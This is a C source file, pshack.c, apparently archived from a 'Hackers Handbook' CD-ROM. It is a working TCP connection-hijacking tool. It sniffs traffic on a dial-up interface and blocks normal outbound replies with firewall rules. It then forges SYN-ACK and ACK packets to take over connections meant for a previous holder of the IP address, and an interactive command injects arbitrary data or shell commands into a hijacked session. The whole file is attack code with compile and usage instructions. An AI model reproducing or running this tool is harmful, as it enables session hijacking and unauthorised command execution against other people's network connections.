home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / pshack.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-04-11  |  14.0 KB  |  467 lines

  1. /* - PshAck.c - Attempts to scavenge connections when you dial up an ISP.
  2.  *   Author:    Seth McGann <smm@wpi.edu> / www.el8.org (Check papers section)
  3.  *   Date:      11/29/98
  4.  *   Greets:    dmess0r,napster,awr,all things w00w00,#203
  5.  *   Version:   0.3
  6.  *
  7.  *   Usage:
  8.  *              1.  Dial up your ISP and start pshack up.
  9.  *              2.  If you are lucky you will see connections you did not
  10.  *                  make :)
  11.  *              3.  Repeat the procedure.
  12.  *   Options:
  13.  *             -i: The interface
  14.  *             -l: Link offset
  15.  *             -s: Your source IP
  16.  *
  17.  *   Compiling: 'gcc pshack.c -o pshack -lnet -lpcap' should work given you have
  18.  *              libpcap and Libnet installed properly.
  19.  *
  20.  *              libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z
  21.  *              Libnet  0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/
  22.  *
  23.  *   Have fun!
  24.  */
  25.  
  26. #define __BSD_SOURCE
  27. #include <netinet/udp.h>
  28. #define __FAVOR_BSD
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <unistd.h>
  33. #include <syslog.h>
  34. #include <sys/time.h>
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <net/if.h>
  38. #include <libnet.h>
  39. #include <pcap.h>
  40. #include <netinet/ip_fw.h>
  41. #include <setjmp.h>
  42.  
  43. /* #define DEBUGIT */
  44.  
  45. #ifdef DEBUGIT
  46. #define DEFAULT_INTERFACE "eth1"
  47. #define DEFAULT_OFFSET    14
  48. #else
  49. #define DEFAULT_INTERFACE "ppp0"   /* Default is PPP with no linklayer */
  50. #define DEFAULT_OFFSET    0
  51. #endif
  52.  
  53. struct conn {
  54.         u_int    type;
  55.         u_long   src,dst,seq,ack;
  56.         u_short  sport,dport;
  57. };
  58.  
  59. void clean_exit(int);
  60. void time_out(int);
  61. void usage(char *);
  62. void dump_packet( u_char *, int );
  63. int update_db( u_char *, int, struct conn*);
  64. void dump_db (struct conn*);
  65.  
  66. char errbuf[2000];
  67. sigjmp_buf env;
  68.  
  69.  
  70.  
  71. int
  72. main (int argc, char **argv) {
  73.  
  74.         struct ip     *ip_hdr;
  75.         struct tcphdr *tcp_hdr;
  76.         struct udphdr *udp_hdr;
  77.         struct ip_fw  fw;
  78.         struct ifreq  ifinfo;
  79.         struct pcap_pkthdr ph;
  80.         pcap_t        *pd;
  81.         u_long        local=0,seq,ack;
  82.         u_short       flags=0;
  83.         u_char        *d_ptr,*packet;
  84.         u_char        *pbuf=malloc(TCP_H+IP_H+500);
  85.         char          iface[17],sendbuf[500];
  86.         int           osock,sfd,linkoff,i,datalen,newsize,dbsize=0;
  87.         struct conn   conn[100];         /* WAY more than enough */
  88.         char arg;       
  89.         fd_set rfds;
  90.         struct timeval tv;
  91.         int retval;
  92.         char user[500];
  93.         
  94.         
  95.         strcpy(iface,DEFAULT_INTERFACE);
  96.         linkoff=DEFAULT_OFFSET;
  97.  
  98.         while((arg = getopt(argc,argv,"i:s:l:")) != EOF){
  99.             switch(arg) {
  100.                   case 's':
  101.                   local=inet_addr(optarg);
  102.                   break;
  103.                   case 'i':
  104.                   strncpy(iface,optarg,16);
  105.                   break;
  106.                   case 'l':
  107.                   linkoff=atoi(optarg);
  108.                   break;
  109.                   default:
  110.                   usage(argv[0]);
  111.                   break;
  112.              }
  113.         }
  114.  
  115.         printf("* Blocking till %s comes up *\n",iface);
  116.         
  117.         do {pd=pcap_open_live(iface,1500,0,500,errbuf);}while(!pd);
  118.         
  119.         printf("* Configuring Raw Output *\n");
  120.         osock=open_raw_sock(IPPROTO_RAW);
  121.         if (osock<0)perror("socket()"),exit(1);
  122.         strcpy(ifinfo.ifr_ifrn.ifrn_name,iface);
  123.         if(ioctl(osock,SIOCGIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
  124.         if(ioctl(osock,SIOCSIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
  125.         if(ioctl(osock,SIOCGIFADDR,&ifinfo)<0)perror("ioctl()"),exit(1);
  126.         
  127.         bcopy(&ifinfo.ifr_addr.sa_data[2],&local,4);
  128.         printf("* Address: %s\n",host_lookup(local,0));
  129.  
  130.         printf("* Blocking Outbound on %s *\n",iface);
  131.         sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  132.         if(sfd<0) perror("socket()"),exit(1);
  133.  
  134.         bzero(&fw,sizeof(fw));
  135.         strcpy(fw.fw_vianame,iface);
  136.         #ifdef DEBUGIT
  137.         fw.fw_flg=IP_FW_F_ICMP;
  138.         if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
  139.         perror("setsockopt()"),exit(1);
  140.         fw.fw_flg=IP_FW_F_TCP;
  141.         fw.fw_nsp=1;
  142.         fw.fw_pts[0]=666;
  143.         #endif
  144.         if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
  145.         perror("setsockopt()"),exit(1);
  146.  
  147.         signal(SIGTERM,clean_exit);
  148.         signal(SIGINT,clean_exit);
  149.         signal(SIGALRM,time_out);       
  150.  
  151.         printf("* Entering Capture Loop *\n\n");
  152.         printf("* Commands [1] Dump databese\n"
  153.                "           [2] Send on connection <n> Ex: 2 1 ls -al\n"
  154.                "           [3] Exit\n\n");
  155.         sigsetjmp(env,1);
  156.         
  157.         FD_ZERO(&rfds);
  158.         FD_SET(0, &rfds);
  159.         tv.tv_sec = 0;
  160.         tv.tv_usec = 0;
  161.  
  162.         retval = select(1, &rfds, NULL, NULL, &tv);
  163.         
  164.         if (retval) {
  165.            retval=read(1,user,sizeof(user));
  166.            user[retval]=0;
  167.            switch(user[0]) {
  168.              case '1':
  169.              dump_db(conn);
  170.              break;
  171.              case '2':
  172.              i=atoi(&user[2]);
  173.              if (i > dbsize) {
  174.                  printf("* Invalid connection index) *\n");
  175.                  break;
  176.              }
  177.              build_ip(TCP_H,
  178.                       101,
  179.                       0,
  180.                       IP_DF,
  181.                       128,
  182.                       IPPROTO_TCP,
  183.                       local,
  184.                       htonl(conn[i].src),
  185.                       NULL, 0, pbuf);
  186.         
  187.              build_tcp(conn[i].dport,
  188.                        conn[i].sport,
  189.                        conn[i].seq,
  190.                        conn[i].ack,
  191.                        TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4),
  192.                            pbuf + IP_H);
  193.  
  194.              do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4));
  195.              setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
  196.              write_ip(osock, pbuf, TCP_H + IP_H + strlen(user+4));
  197.              setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));
  198.  
  199.              printf("Sent: %s\n",user+4);
  200.              break;
  201.              case '3':
  202.              clean_exit(1);
  203.              break;
  204.              default:
  205.              break;
  206.            }
  207.         }
  208.         alarm(1);
  209.         
  210.         for(;packet=pcap_next(pd,&ph);) {
  211.         
  212.         ip_hdr = (struct ip *)(packet + linkoff);
  213.         
  214.         switch(ip_hdr->ip_p) {
  215.         
  216.         case IPPROTO_TCP:
  217.              tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
  218.              dump_packet(packet,linkoff);
  219.              #ifdef DEBUGIT
  220.              if ((ntohl(ip_hdr->ip_src.s_addr) != local) &&
  221.                  ntohs(tcp_hdr->th_dport)==666) {
  222.              #else
  223.              if (ntohl(ip_hdr->ip_src.s_addr) != local) {
  224.              #endif
  225.              newsize=update_db(packet, linkoff, conn);
  226.  
  227.              if(newsize>dbsize) {
  228.              printf("New Connect:\n");
  229.              dbsize=newsize;}
  230.  
  231.              if (tcp_hdr->th_flags&TH_PUSH || (tcp_hdr->th_flags&TH_SYN &&
  232.                  tcp_hdr->th_flags&TH_ACK)) {
  233.                  datalen=ntohs(ip_hdr->ip_len)-IP_H-TCP_H;
  234.                  if(!datalen) datalen++;
  235.  
  236.                  seq=ntohl(tcp_hdr->th_ack);
  237.                  ack=ntohl(tcp_hdr->th_seq)+datalen;
  238.                  flags=TH_ACK;
  239.                  } else if(tcp_hdr->th_flags&TH_SYN) {
  240.                  seq=get_prand(PRu32);
  241.                  ack=ntohl(tcp_hdr->th_seq)+1;
  242.                  flags=TH_SYN|TH_ACK;
  243.                  }
  244.  
  245.                  if(flags) {
  246.                  build_ip(TCP_H,
  247.                           101,
  248.                           0,
  249.                           IP_DF,
  250.                           128,
  251.                           IPPROTO_TCP,
  252.                           local,
  253.                           ip_hdr->ip_src.s_addr,
  254.                           NULL, 0, pbuf);
  255.         
  256.                  build_tcp(ntohs(tcp_hdr->th_dport),
  257.                            ntohs(tcp_hdr->th_sport),
  258.                            seq,
  259.                            ack,
  260.                            flags, 31000, 0, NULL, 0, pbuf + IP_H);
  261.  
  262.                  do_checksum(pbuf, IPPROTO_TCP, TCP_H);
  263.                  setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
  264.                  write_ip(osock, pbuf, TCP_H + IP_H);
  265.                  setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));
  266.                  flags=0; }
  267.              }
  268.              break;
  269.         
  270.         case IPPROTO_UDP:
  271.              dump_packet(packet,linkoff);
  272.              break;
  273.         default:
  274.         break;
  275.             }
  276.           }
  277.  
  278. }
  279.  
  280.  
  281. void
  282. dump_packet( u_char *packet, int linkoff ) {
  283.  
  284.         struct ip     *ip_hdr;
  285.         struct tcphdr *tcp_hdr;
  286.         struct udphdr *udp_hdr;
  287.         u_char        *d_ptr;
  288.         u_int         i;
  289.  
  290.         ip_hdr = (struct ip *)(packet + linkoff);
  291.         
  292.         switch (ip_hdr->ip_p) {
  293.         
  294.         case IPPROTO_TCP:
  295.         tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
  296.         
  297.         printf("********************\n");
  298.         printf("TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n "
  299.                "Flags: %c%c%c%c%c%c Data Len: %d\n",
  300.                 host_lookup(ip_hdr->ip_src.s_addr,0),
  301.                 ntohs(tcp_hdr->th_sport),
  302.                 host_lookup(ip_hdr->ip_dst.s_addr,0),
  303.                 ntohs(tcp_hdr->th_dport),
  304.                 ntohl(tcp_hdr->th_seq),
  305.                 ntohl(tcp_hdr->th_ack), 
  306.                 (tcp_hdr->th_flags & TH_URG)  ? 'U' : '-',
  307.                 (tcp_hdr->th_flags & TH_ACK)  ? 'A' : '-',
  308.                 (tcp_hdr->th_flags & TH_PUSH) ? 'P' : '-',
  309.                 (tcp_hdr->th_flags & TH_RST)  ? 'R' : '-',
  310.                 (tcp_hdr->th_flags & TH_SYN)  ? 'S' : '-',
  311.                 (tcp_hdr->th_flags & TH_FIN)  ? 'F' : '-',
  312.                 ntohs(ip_hdr->ip_len)-IP_H-TCP_H);
  313.         
  314.                 d_ptr=packet+linkoff+TCP_H+IP_H;
  315.  
  316.                 for(i=0;i<(ntohs(ip_hdr->ip_len)-IP_H-TCP_H);i++)
  317.                    if (d_ptr[i]=='\n')
  318.                       printf("\n");
  319.                    else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F)
  320.                            printf("%c",d_ptr[i]);
  321.                         else
  322.                            printf (".");
  323.  
  324.                 printf("\n");
  325.                 break;
  326.  
  327.         case IPPROTO_UDP:
  328.  
  329.         udp_hdr=(struct udphdr*)(((char*)ip_hdr) + (4 * ip_hdr->ip_hl));
  330.         printf("********************\n");
  331.         printf("UDP: %s.%d->%s.%d Data Len: %d\n",
  332.                host_lookup(ip_hdr->ip_src.s_addr,0),
  333.                ntohs(udp_hdr->uh_sport),
  334.                host_lookup(ip_hdr->ip_dst.s_addr,0),
  335.                ntohs(udp_hdr->uh_dport),
  336.                ntohs(ip_hdr->ip_len)-IP_H-UDP_H);
  337.  
  338.         d_ptr=packet+linkoff+UDP_H+IP_H;
  339.         for(i=0;i<(ntohs(udp_hdr->uh_ulen)-UDP_H);i++)
  340.             if (d_ptr[i]=='\n')
  341.                printf("\n");
  342.             else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F)
  343.                     printf("%c",d_ptr[i]);
  344.                  else
  345.                     printf(".");
  346.         
  347.         printf("\n");
  348.         break;
  349.  
  350.         default:
  351.         /* We ignore everything else */
  352.         break;
  353.         }
  354.         
  355. }
  356.  
  357. void
  358. clean_exit(int val) {
  359.  
  360.         int sfd,p=0;
  361.  
  362.         sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  363.         if (sfd<0) perror("socket()"),exit(1);
  364.         if(setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0)
  365.         perror("setsockopt()"),exit(1);
  366.         exit(0);
  367. }
  368.  
  369.  
  370. void
  371. usage(char *arg) {
  372.         printf("%s: [options]\n"
  373.                "  -i: The interface\n"
  374.                "  -l: Link offset\n"
  375.                "  -s: Your source IP\n\n",arg);
  376.         exit(0);
  377. }
  378.  
  379. void
  380. dump_db (struct conn *conn) {
  381.  
  382.         int i;
  383.         
  384.  
  385.         for(i=0;conn[i].type;i++)
  386.            if(conn[i].type==IPPROTO_TCP)
  387.            printf("%d: TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n",
  388.                    i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
  389.                    host_lookup(htonl(conn[i].dst),0), conn[i].dport,
  390.                    conn[i].seq,conn[i].ack);
  391.            else if(conn[i].type==IPPROTO_UDP)
  392.            printf("%d: UDP: %s.%d->%s.%d\n",
  393.                    i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
  394.                    host_lookup(htonl(conn[i].dst),0), conn[i].dport);
  395.           else break;
  396.  
  397.  
  398. }
  399.  
  400.  
  401. int
  402. update_db( u_char *packet, int linkoff, struct conn *conn) {
  403.         struct ip     *ip_hdr;
  404.         struct tcphdr *tcp_hdr;
  405.         struct udphdr *udp_hdr;
  406.         int i=0;
  407.         ip_hdr = (struct ip *)(packet + linkoff);
  408.  
  409.         switch(ip_hdr->ip_p) {
  410.  
  411.         case IPPROTO_TCP:
  412.         tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
  413.  
  414.         for(i=0;conn[i].type;i++)
  415.            if(conn[i].type==IPPROTO_TCP)
  416.             if(ip_hdr->ip_src.s_addr==htonl(conn[i].src))
  417.              if(ip_hdr->ip_dst.s_addr==htonl(conn[i].dst))
  418.               if(ntohs(tcp_hdr->th_sport)==conn[i].sport)
  419.                if(ntohs(tcp_hdr->th_dport)==conn[i].dport)
  420.                     break;
  421.  
  422.         if(conn[i].type) {
  423.           conn[i].seq=ntohl(tcp_hdr->th_ack);
  424.           conn[i].ack=ntohl(tcp_hdr->th_seq); }
  425.         else {
  426.           conn[i].type=IPPROTO_TCP;
  427.           conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
  428.           conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
  429.           conn[i].sport=ntohs(tcp_hdr->th_sport);
  430.           conn[i].dport=ntohs(tcp_hdr->th_dport);
  431.           conn[i].seq=ntohl(tcp_hdr->th_ack);
  432.           conn[i].ack=ntohl(tcp_hdr->th_seq); }         
  433.  
  434.         break;
  435.  
  436.         case IPPROTO_UDP:
  437.         udp_hdr=(struct udphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
  438.  
  439.         for(i=0;conn[i].type;i++)
  440.           if(conn[i].type==IPPROTO_TCP)
  441.             if(ntohl(ip_hdr->ip_src.s_addr)==conn[i].src)
  442.              if(ntohl(ip_hdr->ip_dst.s_addr)==conn[i].dst)
  443.                if(ntohs(udp_hdr->uh_sport)==conn[i].sport)
  444.                  if(ntohs(udp_hdr->uh_dport)==conn[i].dport) break;
  445.  
  446.         if(!conn[i].type) {
  447.           conn[i].type=IPPROTO_UDP;
  448.           conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
  449.           conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
  450.           conn[i].sport=ntohs(udp_hdr->uh_sport);
  451.           conn[i].dport=ntohs(udp_hdr->uh_dport); }
  452.  
  453.         break;
  454.         default:
  455.         /* We Don't care */
  456.         break;
  457.       }
  458.       return i;
  459.  
  460. }
  461.  
  462. void
  463. time_out(int blank) {
  464. alarm(0);
  465. siglongjmp(env,1);
  466. }
  467.